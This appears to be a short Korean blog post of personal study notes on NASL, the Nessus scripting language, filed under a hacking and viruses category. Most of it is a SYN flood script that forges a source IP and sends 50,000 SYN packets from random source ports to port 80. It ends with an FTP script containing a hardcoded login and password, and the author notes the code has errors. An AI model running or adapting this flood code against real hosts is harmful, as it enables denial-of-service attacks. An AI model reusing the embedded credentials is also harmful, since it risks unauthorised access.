본문 바로가기

컴퓨터/해킹 & 바이러스

해킹 및 바이러스 080604





ipp = forge_ip_packet(ip_p:6);  <- ip_p => tcp
tpp = forge_tcp_packet(
        ip:ipp,
        th_dport:80
    );
send_packet(tpp,pcap_active:FALSE);  <-- pcap_active:FALSE  => speed up



==============

ipp = forge_ip_packet(ip_p:6,ip_src:192.168.0.3);
for(i=1;i<=50000;i++)
{
    tmp=rand()%40000;
    display(i,"\r");   
    tpp = forge_tcp_packet(
        ip:ipp,
        th_flags:TH_SYN,
        th_sport:tmp+10000,
        th_dport:80
    );
send_packet(tpp,pcap_active:FALSE);
}

============random port

ipp = forge_ip_packet(ip_p:6,ip_src:"192.168.0.3");
for(i=1;i<=50000;i++)
{
   tmp=rand()%40000;
   display(i,"\r");   
   tpp = forge_tcp_packet(
       ip:ipp,
       th_flags:TH_SYN,
       th_sport:tmp+10000,
       th_dport:80
   );
send_packet(tpp,pcap_active:FALSE);
}


grep rand a*  <-- without reference, guid,, learning syntax



===============================

include("ftp_func.inc");
port = 21;
banner = get_ftp_banner(port:port);
display('\n',banner,'\n');

soc = open_sock_tcp(port);

if(! ftp_authenticate(socket:soc, user:"hisecure",
            pass:"wjdqhqhdks")){
    display("login failure\n");
    exit(0);
}

port2 = ftp_pasv(socket:soc);
soc2 = open_sock_tcp(port2);
send(socket:soc, data:'LIST \r\n');

data = ftp_recv_line(socket:soc2);

display('------------------------------\n',date);



this source has errors,,,, you modify it.